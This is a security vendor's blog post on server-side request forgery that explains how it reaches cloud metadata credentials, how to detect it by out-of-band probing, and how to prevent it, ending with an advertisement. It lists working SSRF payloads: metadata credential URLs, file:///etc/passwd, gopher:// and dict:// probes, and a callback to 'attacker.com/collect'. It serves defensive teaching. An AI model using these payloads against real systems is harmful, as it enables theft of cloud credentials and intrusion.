Back to Blog
Deep DiveDecember 13, 20258 min read

How SSRF Became OWASP A10: Detection and Prevention Strategies

Server-Side Request Forgery earned standalone status in OWASP Top 10 2025 after a string of high-profile cloud breaches. This post explains how SSRF works against cloud infrastructure, how to detect it with active probing, and how to prevent it architecturally.

Server-Side Request Forgery was classified as a "notable mention" in the OWASP Top 10 2021. By 2025, it earned a standalone category. The reason: SSRF combined with cloud metadata services has become one of the most reliable paths to full infrastructure compromise.

What SSRF Is and Why It's Dangerous

SSRF occurs when an application accepts a URL from user input and makes a server-side HTTP request to that URL. The vulnerability is in the trust model: the request comes from the server, not the user's browser.

This matters because the server may have access to:

The canonical SSRF-to-credentials attack:

1. Application feature: "Import from URL" or "Preview URL"
2. User submits: http://169.254.169.254/latest/meta-data/iam/security-credentials/
3. Server fetches this URL (server has access to IMDS, browser doesn't)
4. Response includes: AccessKeyId, SecretAccessKey, Token
5. Attacker has AWS API access with the instance's IAM role

Real-world breaches attributed to SSRF include the 2019 Capital One breach (100M+ records), multiple AWS S3 data exposures, and various cloud-hosted application compromises.

Attack Surface — Where SSRF Hides

SSRF lives anywhere an application makes outbound HTTP requests based on user-controlled input:

Direct URL Parameters

/api/preview?url=https://external.com/image.jpg
/api/check-status?endpoint=https://service.internal
/api/import?source=https://...

Form-Based File Import

Upload from URL: [https://...]
Fetch RSS feed: [https://...]
Import from webhook: [https://...]

JSON/API Body Parameters

{ "callback_url": "https://attacker.com/collect" }
{ "image_url": "http://169.254.169.254/..." }
{ "webhook": "https://..." }

Headers and Indirect Sources Less common but present: Referer header processing, X-Forwarded-For in certain configurations, SVG image processing (SVGs can contain HTTP references).

Cloud Metadata Service Exploitation

Every major cloud provider has an Instance Metadata Service (IMDS) accessible from within the VM:

AWS (IMDSv1):

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}

IMDSv1 is stateless — any SSRF that reaches this endpoint returns credentials. IMDSv2 requires a PUT request with a session token first, making blind SSRF exploitation harder (but not impossible).

GCP:

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Azure:

http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=...

The response from these endpoints includes temporary IAM credentials with the permissions of the instance's IAM role. In poorly configured environments, instances have broad permissions — sometimes AdministratorAccess.

Detection: Active SSRF Probing

Passive analysis (reviewing source code for URL-accepting parameters) catches some SSRF. Active probing catches all of it.

Standard Active Probe Pattern:

  1. Set up an out-of-band (OOB) listener — a server controlled by you that logs incoming requests
  2. Inject OOB listener URL into every URL-accepting parameter
  3. Observe if the application's server makes a request to your OOB listener

If your OOB listener receives a request, SSRF is confirmed. The originating IP will be the application server, not the user's browser — this distinguishes SSRF from SSRF-like client-side request forgery.

Blind SSRF Detection:

Many SSRF vulnerabilities are "blind" — the application doesn't return the fetched URL's content to the user (used for internal webhooks, import jobs, etc.). OOB listeners are the only reliable detection method for blind SSRF.

Payload Variants:

http://169.254.169.254/latest/meta-data/   (AWS IMDS)
http://[::]:80/                            (IPv6 localhost)
http://0.0.0.0/                            (alternate localhost form)
http://127.0.0.1:8080/admin               (internal admin panel)
file:///etc/passwd                         (local file via file:// protocol)
dict://localhost:11211/stats              (memcached via dict:// protocol)
gopher://localhost:6379/_INFO             (Redis via gopher://)

Protocol variants (file://, dict://, gopher://) exploit SSRF beyond HTTP — some applications support multiple URL schemes without restriction.

Prevention

1. IMDSv2 (AWS) — Require Token-Based Metadata Access

Enforce IMDSv2 at instance launch:

aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-endpoint enabled

Or via Terraform:

resource "aws_instance" "app" {
  metadata_options {
    http_tokens   = "required"  # enforces IMDSv2
    http_endpoint = "enabled"
  }
}

IMDSv2 doesn't eliminate SSRF — it makes credential theft via SSRF harder because the exploiting request needs to first make a PUT to get a session token. It's defense-in-depth, not a fix.

2. URL Allowlisting

If your application must fetch URLs (image import, webhook validation, URL preview), implement strict allowlisting:

import ipaddress, socket
from urllib.parse import urlparse

ALLOWED_SCHEMES = {'https'}
BLOCKED_NETWORKS = [
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),  # IMDS
    ipaddress.ip_network('127.0.0.0/8'),     # loopback
    ipaddress.ip_network('::1/128'),          # IPv6 loopback
    ipaddress.ip_network('fd00::/8'),         # IPv6 private
]

def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)
    if parsed.scheme not in ALLOWED_SCHEMES:
        return False
    
    # Resolve hostname to IP — check against blocklist AFTER resolution
    # DNS rebinding bypass: resolve once, block private ranges
    try:
        ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
    except (socket.gaierror, ValueError):
        return False
    
    return not any(ip in network for network in BLOCKED_NETWORKS)

The key: resolve DNS before comparing to blocklists. DNS rebinding attacks use a hostname that initially resolves to a public IP (passing the check) then rapidly changes to resolve to a private IP (reaching internal services). Resolve once, cache the result, use it for the request.

3. Network Egress Restrictions

At the infrastructure level, restrict outbound HTTP from application servers to a firewall allowlist. Application servers rarely need to make arbitrary outbound requests — if they do, route through a forward proxy that applies its own allowlist.

Application server → egress only to:
  - cdn.yourapp.com (your CDN)
  - api.stripe.com (payment processing)
  - api.sendgrid.com (email)
  - NOT: 169.254.169.254
  - NOT: internal subnets

PentestCheck injects SSRF probes (including OOB detection) into every URL-accepting parameter during DAST scans. SSRF findings are categorized as CRITICAL when cloud metadata access is confirmed.

Scan your attack surface today

Free plan includes 3 targets and 10 scans/month. No credit card required.

Start Free Scan